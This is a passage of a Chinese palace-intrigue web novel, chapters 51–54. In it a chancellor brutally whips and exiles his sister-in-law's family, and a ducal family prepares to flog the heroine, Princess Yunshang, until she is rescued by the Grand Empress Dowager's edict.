姚素衣战战兢兢,不敢往前,站在傅老夫人后面。 看见傅璋满头的血,还有手脚都无力地垂着,她难过地哭起来。 “相爷,呜呜呜” “璋儿,你这是,娘娘打的?”傅老夫人也眼泪哗啦下来,现在傅璋是她唯一的指望! 傅璋看见这些人就脑门青筋蹦蹦跳,怒道:“都给我闭嘴!” 叫白管家立即去找来郎中。 郎中不知道宫里发生的事,皱眉道:“相爷,您这是摔的?可真不轻!” “嗯,马惊了,撞的。” 郎中给他仔细包扎了胳膊、头,开了药方,对管家说:“相爷的伤很重,要小心伺候。” 这也太惨了,腿断了,双臂断了,头也破了。 管家吩咐丫鬟去熬煮中药。 把郎中才送出去,就听见,相府门口有人喊:“相府众人,接旨!” 是太后娘娘身边的春安公公。 王巍急忙背着傅璋,小心翼翼地到前院,摆了香案,焚香,傅老夫人带着姚素衣等人也都在前院,跪下接旨。 春安手持圣旨,当众宣读—— “奉太后娘娘旨意,赐夏氏女夏青樾为丞相傅璋之平妻,择日与正妻同日进门。丞相大人,接旨吧~” 春安公公说:“圣旨已经去夏府宣读,丞相大人,咱家先回宫复命了。” 傅璋接旨谢恩,让白燕给春安塞了谢银,送春安到府门外。 叫王巍把自己背到傅老夫人的院子,傅璋脸彻底阴沉下来。 “白管家,把府门关好,院子里所有的下人都不准靠近翠微堂。” “把嫂嫂、榆儿、恩儿都叫过来,我有话说。” 行刑凳在院子里摆好。 请出家法。 第51章 母子被逐出相府 姚素衣、傅桑榆、傅修恩,都被叫到老夫人的翠微堂。 傅璋让傅老夫人身边的丫鬟喜鹊,把那件捡回来的亵裤给姚素衣看。 姚素衣一眼就看出来,这是她给傅桑榆做的亵裤。 顿时情绪激动,说道:“这,这是怎么回事?榆儿的亵裤,怎么在相爷这里?” “你问我,我问谁?”傅璋怒道,“这是今天王巍追回来的一条。他们手里还有你、榆儿的许多私密衣物。你去查看一下,到底丢了多少?立即,马上!!” 姚素衣与傅桑榆匆匆回到寻芳庭,各自在内衣柜子里翻找一番。 发现姚素衣丢了一个肚兜,两条亵裤,还有袜子两双。 傅桑榆丢了三条旧亵裤,一个半新不旧的肚兜。 姚素衣全身冰凉,丢掉的是旧衣裤,为了教授榆儿绣活,区别大家的内衣裤,每一件亵衣亵裤,还都绣上了名字,想赖都赖不掉。 这种事,只有身边人干得出。 只觉得有一道无形的绳索捆绑住她,绳子越收越紧。 她这么多日的恐慌、愤怒,终于找到了出口,大喝一声:“鸳鸯,鹦哥,你们两个贱婢干的好事!” 鸳鸯、鹦哥扑通跪地上,哭着辩解:“姚娘子,不是奴婢,奴婢绝对没有干!” 但是能进入她内室的丫鬟,只有鸳鸯和鹦哥。 姚素衣愤怒地扇两人耳光,一下接着一下,俩丫鬟不断地哀求,惨叫。 脸都打花了,俩人依旧喊冤。 “姚娘子,这院子虽然我们俩近身伺候,可别的人也不是不能走进,比如院子里的二等丫头。” 二等丫头一听,吓傻了,发誓绝对没干。 反倒是车夫怀文清相好的粗使丫鬟嗝儿,悠哉游哉。 原则上她根本进不了内院,更别说内室了,平时她都是在外面扫地打杂。 姚素衣召集下人,从这几天的日常,一点点对质,凡是找不到证人佐证自己行踪的,立即拖出去打。 嗝儿只在寻芳庭外院扫院子除草,没进主院,都不必拷问。 嗝儿看着鸳鸯和鹦哥以及一众平时耀武扬威的大丫头们挨打,心里那叫一个痛快。 没人承认,姚素衣和傅桑榆把自己所有的丫头、杂役,都带去了翠微堂。 待相关人员都进了翠微堂,傅璋也不说打丫鬟,立即让王巍把外门锁上,把姚素衣按在行刑凳上。 姚素衣魂飞魄散,怎么打她呢?她可是主子呀! “小叔,小叔,我错了,我错了......” “不,你不知错!”傅璋黑着脸,一声令下,“打!” 王巍操鞭,那鞭子带着半寸长的尖锐铁丝,一鞭一道血痕。 王巍又有武功,下手的力道绝非傅璋能比。 傅璋想到这一段时间府里发生的事,桩桩件件,都是冲着毁了他人生的方向奔去。 每一件,都是姚素衣引起,都有她的手笔,一时气得失去理智。 叫人扒掉姚素衣的外袍,一鞭下去,“啊~”,姚素衣惨叫声飞出翠微堂。 傅璋叫人拿帕子堵住她的嘴,一鞭接着一鞭,姚素衣痛得拼命挣扎。 “呜呜呜” 眼泪鼻涕糊了一脸,只抽了五鞭子,姚素衣便昏了过去。 傅桑榆和傅修恩都跪在地上抱住他的腿:“二叔,求求你,别打了!” “二叔,二叔......” 傅璋根本不理,眼珠子已经红了,想到自己生活将会变得暗无天日,更加愤恨。 “打,给我狠狠地打死这个祸头子。” 傅桑榆跪着抱住他的腿:“二叔,你,你别打了,饶了我娘吧......郡主那边,还要我娘应付呢!” 一听“郡主”二字,傅璋用仅有的一只好腿,踹了过去,自己也扑通摔在地上。 “王巍,给我打这个孽障!” 鞭子从肩膀落在手臂上,傅桑榆痛得大叫,哭着说:“啊,二叔不要打我......” 叫人拿了帕子堵住傅桑榆的嘴,傅璋已经完全眼红。 脑子里根本没有对嫂嫂和儿女的心痛,只想着街上的谣言,被御史弹劾得无力还手的狼狈,被太后强按头娶一个被人玷污的平妻...... “打打打打......” 发狠要创死一家人! 姚素衣昏死过去,傅桑榆也昏死过去。 傅修恩吓坏了,看着翠微堂靠墙的大树,哧溜就往树上爬。 王巍急忙追过去,劝说道:“三少爷,快下来,不要惹相爷不高兴。” 傅修恩哭着说:“他想打死我们,我宁愿讨饭也不在这个家里了。” 王巍上树把傅修恩摘下来,抱回傅璋跟前,劝道:“相爷,不要打了,再打就出大事了。” 傅璋终于不再喊打,无力地瘫倒在榻上。 白燕战战兢兢地捧着鞭子,返回祠堂。 “不要等到过年了,你们娘几个都去郊外的庄子吧。”傅璋冷薄地说,“除了晨儿,你们都不准留在府里。” 傅老夫人哭着说道:“造孽哟,天要亡我傅家哟。” “我照顾他们这么多年,仁至义尽,母亲休要多言。” 姚素衣全身是伤,昏过去醒过来,虚弱地哀求:“小叔,嫂嫂……再也不敢了,求,求你放过他们,他们还小。” “你求我?我去求谁?” 喊来丫鬟小厮把姚素衣母子三人,收拾了衣衫被褥,要把他们连夜全部送到郊外庄子。 姚素衣伤得厉害,稍微一动,疼得满头冒汗。 她泪眼朦胧地看着傅璋,声音孱弱地说:“璋郎,我知错了,我会好好反思,是我不知进退,忘了初心。” 傅璋不为所动,他没有杀她们,已经是看在亡兄、晨儿的面子了。 “璋郎,我......郡主那个药,不是我下的......” “什么?”傅璋忘记自己双臂都骨折了,本能地想伸手去抓她衣领,一动疼得钻心,咬牙切齿地低声问,“你把药给谁了?” “郡主对我有敌意,她太警惕,我无法靠近......我把药交给国公夫人,告诉她是太后,叫她杀郡主......” “你看着她给郡主喝下去了?” “没有,药给她了,我叮嘱她不准告诉任何人。” “蠢妇,蠢妇,蠢妇!” 傅璋连吼三声,让王巍把她提到自己跟前,看着她已经花白的头发,忍了又忍。 “嫂嫂,你去庄子上好好反省吧。带上凯儿、恩儿和榆儿,把晨儿留下,年后他要下场,为了你儿子的前途,你最好不要再作死犯蠢。” 姚素衣知道,他是在警告她,不要说出下毒害死云裳郡主的事。 他留下傅鹤晨,是为他的前途,也是为了做为辖制她的人质。 姚素衣哭着应了,她不能反驳傅璋,如今四个孩子毁了三个,她不能再耽误傅鹤晨,傅鹤晨是她唯一的指望了。 送走姚素衣,傅璋立即叫王巍去百益堂花重金买了一座轮椅,推着带他去定国公府。 “相爷,您的伤势太严重了,最好静养。”王巍劝道,“如果落了残疾就不好了。” “不,就此刻去。” 今儿赐了平妻,三儿和榆儿又陷害郡主,定国公府的主子们,自然心里窝火,他这样一身伤,诚心诚意地去道歉,对方会少些怒气。 还有,他想再努力一把,看能不能从郡主手里把家底抠出来。 * 梁幼仪叫叠锦救起凤阙的第一时间,梁景湛的侍卫徐长云就悄悄告诉他:“齐王在梅园掉河里,被云裳郡主救了。” 他脸立即黑了。 梁幼仪想死吗? 大好的机会,一举灭了齐王府,解决太后娘娘的心头大患,她逞能什么? 该死! 但是他没发作,因为他看见春安也急匆匆地给太后娘娘汇报了什么。 只见太后瞬间怒容满面,恶狠狠地看了一眼姜霜,又冷冷地看向他。 梁景湛假装不知,低垂眉眼,等待太后发落。 好一会子,太后也没发火,只说:“听闻云裳又做了不少梅影流香,回头给朕留两瓶。” 梁老夫人立即说:“娘娘如果要,就叫她多做,做好都给娘娘。” 太后微微笑笑,说道:“朕不懂闻香识香,两瓶,做个纪念吧。五日后,朕空了,去看看她。” 梁老夫人不懂太后是什么意思,梁景湛猜着是云裳救了凤阙,太后怕是要对她下手了。 只有姜霜,面如土色。 出了宫,姜霜是被侍书架着上的车,梁景湛看着自己母亲这样,还以为她听懂了太后娘娘的话中话。 “母亲,你恐惧什么?云裳有这一天,不是早就料到了吗?” “为什么?”姜霜指甲掐了掌心,恨恨地说道,“我怎么生了这么个孽障!” 母子俩说的根本不是一回事,对话接得倒也出奇地毫无违和。 “母亲,你既然不担事,府里的事便不要多管了。” “你什么意思?” “你说呢?五天后姑姑要来府里看云裳,你以为太后想看什么?难道是看她过得好不好?” 姜霜更加恐慌,太后要五天后来府里看望仪儿,自然是,看她的......尸体! 可是,她把药丢了啊! 姜霜回到梨花院,叫侍书把所有的下人都遣出去。 她像热锅上的蚂蚁走来走去。 眼下,只有两个办法,一个是装傻耍赖,姚素衣没联络过她,她根本不知道什么毒药。 第二个办法,立即去买一包毒药,她是中馈主母,府中衣食住行都在她的掌控中,杀一个梁幼仪有一万种办法。 “侍书,你去......” 她要下人分批去各家铺子买毒药,把药准备好。 第52章 千钧一发,国公府杀害云裳郡主 梁幼仪在外面看了一通兜售肚兜的热闹,马车缓缓地驶入朱雀大街。 府里还是要回的。 大陈都在太后的控制之下,定国公府的势力遍布角角落落,她一个女子,无处可躲。 管家看见她回来,立即开门让她的马车进去,对她说:“郡主,老太爷叫您回来立即去议事厅。” “只有他一个人?” “国公爷、世子爷都在。” 梁幼仪点点头,问道:“世子夫人回来了吗?” “回来了。” 梁幼仪扭脸看向芳苓,芳苓眼睛通红,马上就要哭出来了。 老太爷急着见郡主,肯定没好事。 梁幼仪安抚地笑了笑,说道:“芳苓,你去丹心院,告诉嫂嫂,我回来了。” 芳苓想到梁幼仪给柳南絮的药,强忍泪水,从车上跳下来,伸手接她。 梁幼仪趁帘子落下来的一瞬间,一把匕首快速别在麂皮靴子里,手里捧着汤婆子,一步一步稳稳地下车。 青时去停车,芳苓去丹心院,叠锦闪身不见。 梁幼仪进了议事厅,梁勃的护卫就把门关上了。 进了内堂,抬眼看去,主座上是梁勃和梁老夫人,旁边坐着父亲梁知年,兄长梁景湛,母亲姜霜。 她规规矩矩地行礼:“祖父祖母安好,父亲母亲安好,兄长安好。” 梁老夫人把一个茶盏狠狠砸过来,梁幼仪低着头,微微偏头,茶盏落在她的脚边。 “啪”,一声脆响,茶盏摔了无数瓣。 姜霜惊得双脚往后缩了缩,没敢尖叫,眼神里都是恐慌。 梁勃怒道:“跪下。” 梁幼仪跪下。 “你可知罪?” “请祖父明示!” “你,你个孽障!”梁老夫人忍耐不住,“你还装疯卖傻?你不知?你能耐大得很,国公府都盛不下你了!” 梁知年瓮声瓮气地问:“你救了凤阙?” “是。” “你知不知道我们两府不睦?知不知道齐王府一直想阴谋颠覆太后和陛下?” “但是今天不救齐王,于姑姑和陛下名声有损。”梁幼仪一板一眼地说,“在场的百官和官眷,议论纷纷,说齐王合该灭绝,谁叫齐王府与定国公府不睦,谁叫齐王不尊太后娘娘......” 她一口气说了大家真实的想法,确实很多人都在说齐王府该死,挡了太后的路。 “贱人,他们说的有错吗?连别的府都知道的道理,你不懂?别人都不去救,你却去救,是故意给太后娘娘添堵吗?” 姜霜怒骂道,“贱人,你活着作甚么?自从你出生,二十年,我无时无刻不巴着你死,你就是我的耻辱!你怎么不去死?上吊跳河抹脖子,哪个不能见阎王?” 姜霜歇斯底里地骂道,整个议事厅一瞬间的凝滞。 皱眉看着姜霜发泄。 梁氏一族,十八代只生男不生女,小姑子梁言栀受尽恩宠,婆婆水涨船高。 她姜霜也生了女儿,相貌比小姑子美了不知道多少倍,可是却活得像一条狗,连带着她也伏低做小! 好不容易先帝看上梁幼仪,想赐婚她做太子妃,结果却换成了梁言栀,梁幼仪却被指给一个不入流的从六品翰林傅璋,还是个泥腿子。 赐婚七年,泥腿子熬出头,成了如日中天的丞相,但这个女婿只敬重小姑子和公公婆婆,不把她放在眼里! 她好气,所有的屈辱都是这个孽女带来的。 梁幼仪一语不发,跪着不动,任她发泄,不反驳。 除了姜霜歇斯底里的咒骂,整个议事厅主子们都不语。 姜霜骂了一会子,发现整个议事厅很安静,立即住了嘴,惶恐地看着众人。 她,说错什么了? 大家不是都讨厌仪儿吗?以往她诅咒梁幼仪,婆婆虽然会斥责她几句,但是都会换个方式嘉奖她。 “祖父,祖母,哟,这是怎么啦?”人未到,笑声先到了,柳南絮和月梅捧着一个锅子过来。 “我叫人泡发了十二个时辰,又炖了一个多时辰的血燕,祖父祖母快尝尝。” 她进来,把手里的锅子放下,叫月梅给梁勃和梁老夫人各盛了一碗,亲自端过去。 梁勃接了,梁老夫人还拉着脸,说道:“这个不争气的东西,与你姑姑作对,真是白养了她二十年。” 柳南絮把燕窝塞她手里,说:“祖母,孙媳说一句大不敬的话,您可不能偏听偏信。要说这京城哪个府里最是凝聚一股绳,一条心?再没有比定国公府更好的人家。祖父祖母一向是领家过日子的典范,咱们这府里就没人不爱惜羽毛的。” 梁老夫人接了燕窝盅,柳南絮又盛了一碗,专门去给梁幼仪,对梁老夫人和梁勃说:“祖父祖母,孙媳斗胆要个脸面,求您让郡主起来,孙媳有事给你们禀报。” 梁老夫人脸不好看,说:“叫她跪着听训。” 柳南絮没再勉强,说道:“今儿在宫里,齐王落水了你们知道吧?知道是谁救的吗?是郡主!” 姜霜和梁景湛都看着她。 又一个找死的吗? 柳南絮惊讶地说:“祖父祖母还不知道吧?我已经找人打听了,当时许多人都挤兑齐王府,却拿我们定国公府作筏子,说是咱们定国公府容不下齐王府,还说是太后借着这次赏花的机会,叫大内侍卫把齐王推入水中......” “这不是放屁吗?太后怎么会叫侍卫推他入水?”梁老夫人拍桌子。 “是啊,孙媳也是说这些人丧良心!可如果齐王真死在宫里,太后全身长满嘴也是堵不住天下悠悠之口的。 这些话用心极其险恶,他们这么说,却又不下去救人,甚至巴着齐王出事,好讨伐姑姑。 今儿也是奇怪了,大内侍卫一个也没出现。当时太皇太后的表侄子燕南侯小侯爷在场高呼救命,还跳河去救人,差点淹死! 只要齐王出事,太皇太后势必第一个站出来向国公府发难!” 柳南絮看大家都沉默了,又抛出一个重大消息:“今儿我在外面听到消息,西南三州大灾,有义军造反,已经打到施州了!打出的旗号是除奸佞......” “什么?”梁勃一下子惊得站起来,“你从哪里听说?” “孙媳一点都没撒谎,祖父可以去打听。孙媳就是因为听说这个,惊出一身冷汗,幸亏妹妹救了齐王,不然咱们国公府定然陷入漩涡。” 是啊,义军都起来了,除奸佞,谁是奸佞? 大陈谁不知齐王府义薄云天,爱护百姓?现在太后临朝听制,仗着国公府得罪了多少人? 这京城,这朝堂多少人对定国公府恨之入骨! 就连太皇太后都不会放过这个机会除掉定国公府吧? 灾民造反这个事确实更大,梁勃和梁知年都坐不住了,马上结束今天的审问。 “云裳,虽然你救了齐王,也有这么多借口,但是,你也别把国公府众人当成傻子!” 梁老夫人阴狠地说,“你与齐王之间如果没有猫腻,为何傅家老三栽赃你偷玉佩时,齐王怎么那么好心帮助你作证?” 梁幼仪道:“孙女确实不知该如何辩驳,孙女都没见过此人。” 柳南絮眼珠子一转,说道:“兴许,他就想罢免傅家老三的伴读之职,他针对的是相府。” 姜霜忽然说道:“齐王今年也二十了吧?至今都没有定下亲事,逆女是不是看他年轻,相貌出众,就动了春心?” 梁幼仪对母亲已经不抱任何希望了。 这种唯恐女儿不死的,也配做母亲! 柳南絮笑着说:“妹妹与丞相定亲七年,从无半点越矩。与齐王是肯定没有私情的,母亲还信不过自己教养的女儿?” 姜霜被怼得哑口无言。 梁老夫人见过凤阙,那也是个长得妖孽一样的男人,与这个狐媚子说不得真互相看对眼了。 顿时心里也怀疑梁幼仪与凤阙有私情,想到太后说的五天后来看梁幼仪的话,她顿时心狠下来。 提醒道:“太后五日后要来府里。” 气氛再次凝滞。 梁勃黑着脸,说道:“你们谁也不要求情劝说,必须给这惹祸的孽障一个教训。景湛,你把人带到祠堂,执行家法,严惩不殆。若她有命,关后园,大婚前不准再出来。” 定国公府家法,只着里衣,吊在祠堂,用铁鞭抽打。 铁鞭有倒刺,小惩五鞭,大惩/严惩十鞭。 小惩重伤三月以上,大惩当场丧命,即便当场没死,也熬不过十天半个月。 后园,就是府里的地牢,天寒地冻,在后园里待上两夜,命也就没了。 柳南絮不敢哀求,此时求祖父祖母,则可能视为同伙。 她遗憾地低着头,脑子飞快地运转。 梁幼仪依旧没有恐惧和讨饶之色,她站起来,说道:“祖父祖母,今儿若执行了大惩,孙女怕是难以活着出祠堂了,但是孙女死在祖宗面前也不后悔,因为孙女为国公府尽了最后一份力。” 梁景湛黑着脸说:“国公府不缺你的贡献,也用不着!国公府的一切都是太后姑姑给的,你算个什么东西?” 一把提起来她的后衣领,梁幼仪挣脱了,说道:“你不必提我,我跟你去。” 梁景湛哼了一声,在前面大步走,梁知年和姜霜在后面压阵,梁幼仪被夹在中间。 柳南絮急得跑回丹心院,对杂役说:“快,骑快马去相府,把丞相叫来。” 叠锦第一时间去竹坞找到芳苓,对她说:“你速去燕南侯府,叫小侯爷立即赶来。” 他没有离开,他要护着郡主。 府里的下人都用同情的目光看着梁幼仪。 那个最不受宠的女子,脸比玉石白嫩,腰比柳条细软,一身宽衣博带素净无饰,却仪态生姿。 那双雾淅淅的眼,好似藏了一汪秋水,婉转欲滴。 她的美貌,东洲大陆无出其右。 只可惜,今日,要陨落了。 第53章 武德司指挥使高呼:刀下留人! 丹心院的杂役叫小蚊子,骑了马,飞快地出府,去相府请傅璋。 在半道,刚巧遇见王巍用轮椅推着傅璋。 小蚊子下马,扑通一声跪下:“丞相大人,您快点去国公府吧,云裳郡主要被执行家法。” 傅璋大吃一惊:“你是哪个院子的?” “奴才是竹坞的杂役……相爷,您快点去吧,晚了,郡主就被打死了!” 傅璋皱眉微微思考,片刻就想通了,看来是郡主救小王爷的事惹恼老国公爷了。 “到底怎么回事?你说清楚。” “奴才不知道内里的情况,只知道郡主被执行家法,丞相大人要是不快点去救她,她就没命了。” 小蚊子恨不能一下子把傅璋搬到国公府祠堂,当场救下云裳郡主。 傅璋顿时心里升腾起一种自豪、得意:云裳郡主,你发现了吧,关键时刻还是要靠本相! 和本相闹,你能得什么好? 你以为你贵为郡主,又是定国公嫡女就高过本相?离了本相,你寸步难行。 生死时刻,还是求到本相头上吧? 不过,本相的人情不是那么好给的! 他略微正了正身子,拖着官腔问道:“你出来时,郡主挨打了吗?” “还没有,正要去祠堂……丞相大人,您快点吧,国公府的家法,那都是爷们才能扛得住的,郡主哪能承受得住!” 傅璋点点头,说:“你先回去,别叫人瞧见,本相如今受了重伤,快不得,否则,还没到国公府本相倒是先晕过去了。” 小蚊子心里急,却无奈,看着对方包的木乃伊似的,这会儿想死的心都有。 完不成使命,他怕被扒了皮! 他哭丧着脸说:“相爷可千万快点啊!奴才先回去给主子复命。” 杂役前头走,后头傅璋对王巍说:“在旁边茶馆略坐一坐再去。” “为何?属下看那杂役急得快哭了。” “一个奴才,演戏罢了,当不得真!去得太早,郡主没有挨上鞭子,她就不知道疼,就不能珍惜雪中送炭……本相有些话便不太好说。” 国公府的家法好啊,如果郡主弥留之际,他从天而降,还身负重伤来救她…… 她大概会感动,再次信任他! “国公府,真不错。” 瞌睡递上枕头,太懂事了! 傅璋磨磨蹭蹭,轮椅的轮子“骨碌,骨碌”一下下敲打着朱雀大街的石板,缓慢而有节奏地拐进茶肆里。 另一边,芳苓急得恨不能一步飞到燕南侯府。 从齐王府出来后,叠锦找了个机会给她说:“如果郡主挨罚,你立即快马去找姬染。如果你们来得够快,那便罢了,如果你们来不了,我就把国公府的人杀了,把郡主带走,我们在青州会合。” 芳苓提出找小王爷帮忙,叠锦摇头:“他若来了,郡主必死无疑。” 此时,芳苓骑着快马拼命跑向燕南侯府。 “哒哒哒”,马蹄急速。 朱雀大街还没有走完,就看见三匹快马比她速度还要快地向她冲来。 芳苓急忙勒马避开对方。 却不料对方领头的“吁”住马,喊道:“你可是云裳郡主身边的丫鬟?” 芳苓看了对方官服,才发现是武德司的人。 “芳苓,郡主怎么样?” 芳苓看清说话的人,眼泪哗啦一下子就流出来了:“小侯爷、顾二爷,你们快点去救救我家郡主吧……” 为首一人,正是指挥使千杰,他的旁边不是姬染、顾若虚又是谁! 千杰道:“国公爷果真要杀郡主?” “是,不容分说,就要执行最高家法,鞭打,还要关进地牢。”芳苓泣不成声,哀求道,“千指挥使,求求您,救救我家郡主。” 千杰微微颔首,打马往定国公府疾驰而去。 顾若虚对芳苓说:“千指挥使去宣旨了,你放心,郡主肯定没事。” 姬染也说:“太皇太后的轿辇马上就到。” 芳苓心放下一半,千杰快马去宣旨,这是最快、最有效的救助。 太皇太后亲自保郡主,郡主的命指定是保住了。 她正要回去,看见府里的小蚊子骑马过来,她认得他是丹心院的杂役,便打了个招呼。 小蚊子一看是她,马上说道:“芳苓姐姐,你也是去找丞相的吗?” 芳苓眨巴一下眼,说道:“你去请了?他来了?” 小蚊子焦急地说:“我在半道遇见他,不过相爷说他受了重伤,不能走快。我看他那个样子,来到府里,郡主也被执行完家法了。” 芳苓心里冷笑,主子真是猜得一点不错。 刚在去王府的路上,叠锦告诉郡主,傅璋今天把郡主的信息从聆音阁拿走了。 傅璋这是想郡主挨打后,他装救世主,骗郡主的家底? 烂人! 千杰骑快马去国公府,沿着朱雀大街,一路用内力高呼:“国公爷,刀下留人!” 定国公府门口卫兵远远地听见呼喊,急忙进去禀报管家。 管家嗤笑了一下,真是不要命了,竟有人敢在朱雀大街撒野? 刀下留人? 国公府的刀举起来,从来不见血不入鞘! “太皇太后懿旨:为感激云裳郡主对燕南侯小侯爷的救命之恩,亲自登门致谢,请云裳郡主速速出来迎接!” 管家开门就看见一匹彪悍的康居马风驰电掣地奔来,带起的寒风把管家的眼睛刺得眯起来。 待看清马上的人,管家顿时清醒了。 武德司的总指挥使,千杰! 皇家威严,与御林军中大多是勋贵子弟不同,武德司都是杀人如麻,喋血山河之徒。 有诗云:锦衣血屠九千万,只因此命奉皇天。 手段狠辣,无所不用其极,端的是皇帝手中的一把好刀! 得罪谁,都别得罪武德司的人,何况,眼前人是千杰。 管家不敢怠慢,双腿发颤,立即去禀报梁知年。 梁知年听闻千杰亲自来宣懿旨要见梁幼仪,先是一个懵,太皇太后什么时候与孽女有勾连了? 不管怎么样,武德司得罪不起。 立即叫身边的侍卫速去祠堂,告诉梁景湛,千万不要动刑。 前院等待小蚊子回来复命的月梅听到这个消息,差点把鞋子跑掉,告诉在廊子里等待傅璋的柳南絮。 柳南絮问清楚,来人是武德司的千杰,还说太皇太后亲自来府里,有些失望。 傅璋真是废物,落在太皇太后后边,还成什么事! 不过,太皇太后亲自来感谢,那梁幼仪绝对稳了。 她二话不说,比狗跑得还快,一边跑一边把自己头发扯下来一缕,跑进祠堂。 哭喊:“世子爷,妾身求求您了,别打妹妹,她身子弱,撑不住……” 梁知年的侍卫到祠堂时,梁幼仪已经被迫脱掉外衣,梁景湛让人把梁幼仪捆了个结实,吊在行刑架上,正往上升吊。 家法已经被请出。 一根黑红的铁鞭,上面的倒刺闪着寒芒。 梁景湛也脱掉了外衣,活动了手腕,准备开打。 暗卫直接现身:“世子爷,快住手。” 梁景湛停下手,问道:“怎么啦?谁来了?” “武德司总指挥使来宣太皇太后懿旨,说郡主救了燕南侯小侯爷,太皇太后亲自登门道谢。” 梁景湛顿时又怒了:“梁幼仪,你还救了燕南侯小侯爷?” 梁幼仪自然听到他们的对话,只是不想搭理梁景湛。 柳南絮跪下,抱住梁景湛的腿哭:“爷,求求您,咱就这一个妹妹,打断骨头还连着筋的亲妹妹。爹不在跟前了,你放了她吧,反正别人也不知道……” 梁景湛看看梁幼仪,她脸色苍白,眼睛半闭。 一脚踹在行刑架上,冷厉地看了梁幼仪一眼,对徐长云说:“放她下来。” 徐长云立即去放梁幼仪下来,柳南絮叫月梅、月兰接着,给她穿上外袍,哽咽着说:“妹妹,你受苦了!我叫人去通知了丞相大人,他在赶来的路上。” 梁幼仪脸色苍白,对柳南絮说了一声:“多谢嫂嫂。” “你别怪你兄长,他也是没办法。”柳南絮给梁景湛开罪,指挥者月梅、月兰把梁幼仪带回竹坞。 又把红糖生姜水给梁幼仪端来一碗,拿来一套新衣,对芳芷说:“你快点给你主子梳妆,太皇太后马上到了。” 柳南絮看着小姑子,心里第一次生了忌惮。 小姑子深不可测。 今天眼看命丧黄泉,竟然把太后的死对头太皇太后请来了。 要说这世上,能压太后姑姑一头的,也只有这个太皇太后了。 太皇太后母族崔氏,武将不输定国公府,根基比定国公府还要深厚,先帝的暗处力量都在她手里。 鬼门关走了一遭,梁幼仪看上去却依旧没一点表情。 柳南絮叫月梅从自己的私库里拿来一副新头面,给梁幼仪。 “妹妹生得颜色太好,太过繁盛的首饰,显得妹妹威压太重,容易引起别人忌惮。嫂嫂给你准备的这份头面简单一些,什么场合都合适。” 柳南絮八面玲珑,人际场的事她最是精通。 梁幼仪叫芳芷给自己戴上,说道:“多谢嫂嫂。” 柳南絮更高兴,劝说道:“妹妹,我们去祖母请个罪,场面的活咱们做得漂亮一些,府里日常的事到底是祖母说了算。” 人在屋檐下低头,并不丢人。 两人到梁老夫人的松柏居。 梁老夫人的脸色说不出来的精彩,像吃了一团屎一样。 “今儿是太皇太后指明要见你,暂且饶过你一次!我不知道你用了什么狐媚法子把太皇太后请来,你要在这个府里讨生活,就给我安分一些。” “谢祖母教诲,云裳以后定当谨言慎行。” 府里已经铺了红毯,梁幼仪稳稳地往前院走着,不卑不亢。 失意让人学会成长与坚强,不执着于过去,不幻想于未来,努力走好脚下的路,走着走着,花就开了。 第54章 太皇太后驾到 太后与太皇太后水火不容,这么多年,两府多次过招,势均力敌。 若押上全族,只怕伤筋动骨。 能有机会与太皇太后握手言和,自然是求之不得。 梁勃、梁知年、梁景湛、梁老夫人、姜霜、柳南絮都去前院迎接。 “你站后面!” 姜霜嫌恶地对梁幼仪说,“太皇太后是太后的亲婆母,陛下的皇祖母,来定国公府,自然是冲着太后的面子,国公爷的威势,你往前凑什么?” 梁幼仪连话都懒得和她说,这么多主子,就显着你姜霜了? 靠着踩死自己的女儿获得一点点可怜的存在感? 柳南絮拉着梁幼仪的胳膊,一起站在后面,轻轻捏了捏她的手心,轻声说道:“我陪着妹妹。” 不多久,宫里传旨太监飞奔跑来,通报府里,太皇太后的轿辇马上就到。 府里中门大开。 又过了两刻钟,便看见皇家旗帜,铺天盖地,浩浩荡荡一百多名御林军、太监、宫女等前来。 太皇太后的轿辇左边,是文国公、文国公世子、顾若虚; 轿辇右边是燕南侯老侯爷、小侯爷;晋侯侯爷、世子程梓荣。 梁幼仪看着这些马场上结交的盟友,眸子微微起了水雾。 太皇太后摆了皇家仪仗来了定国公府,是给定国公府面子,也是给她撑腰。 太皇太后与她几乎无交集,能给她这样大的脸面,自然是燕南侯小侯爷姬染履行当初“有事找我,我办不了就找太皇太后”的承诺。 文国公、燕南侯、晋侯全部亲自到场,这是给她底气,也是凤阙的脸面。 她不傻,这怕是凤阙的手笔。 他不方便来,叫别人来。 她有难,他都知道。 梁幼仪想到这里,长长的睫毛,微微水润。 太皇太后下了轿辇,皇家仪仗队列队站在一边,梁老夫人亲自跪在前面迎接太皇太后。 太皇太后其实才四十多岁,保养极好,笑起来如沐春风,但是眼里的凌厉是无法掩藏的。 她下来,梁老夫人和姜霜急忙上前,双方礼仪过后,姜霜伸手搀扶她,道:“请太皇太后移步府中。” 太皇太后轻轻躲开她的手,问道:“云裳郡主呢?” 姜霜僵了一下,梁幼仪被她赶走,不知道站在哪个角落了。 梁勃扭头喝了一声:“云裳,还不快过来搀扶太皇太后?” 人群自动让开一条路,就好似行船切开水面。 梁幼仪向前,正要跪,太皇太后一把握住她的手。 “云裳,哀家要多谢你救了姬染那个猴儿,燕南侯只有这一根独苗了,今日要是折在宫里,哀家一辈子也扒不出来这块心病了。” “都是臣该做的。” “哪有该救人一说?人心叵测,关键时刻谁能豁出性命去救别人?你救了小猴儿的命,哀家要保你一世的荣华,谁敢对你不恭不敬,便是与哀家作对,与整个崔氏作对。” 太皇太后牵着她的手往府里走,“以后,你有任何事,都直接来宫里找哀家。” 她话说得又清晰又响亮,手下不停,把腕子上一枚水头极好的镯子给了梁幼仪。 一众人簇拥着进了国公府最大的待客厅,太皇太后拉着梁幼仪的手,坐在她身边。 梁勃等国公府主子极尽恭敬,与太皇太后攀谈,也与文国公、燕南侯、晋侯攀谈。 在谈话中才知道,梁幼仪不仅救了凤阙,还顺手把这几个人都从河里捞出来了。 文国公当即对梁勃行礼,说道:“云裳郡主救了犬子,便是我文国公府的救命恩人,以后定当与定国公府携手同进。” 燕南侯老侯爷和晋侯都同样感激,表示以后携手合作。 梁勃又高兴,又像吞了个什么难咽之物。 太后娘娘一下子少了四个强劲的对手,真的是意外之喜。 美中不足的是,这个助力是太后最不喜欢的云裳带来的。 太皇太后在内的几家都感激云裳郡主的救命之恩,要保她一世平安。 太皇太后甚至给了梁幼仪一枚令符,可以从武德司的探事司调动十人以内的察子。 察子,主管搜集情报、刺探官员信息、掌控大陈舆情。 把梁勃、梁景湛看得直咽口水。 有太皇太后这样撑腰,国公府想害死梁幼仪,那就必须承受不可控的后果。 梁勃准备与太后好好谈谈,梁幼仪不好再动了。 柳南絮负责接待,她在帘子后看着,心里羡慕、嫉妒,又有些庆幸。 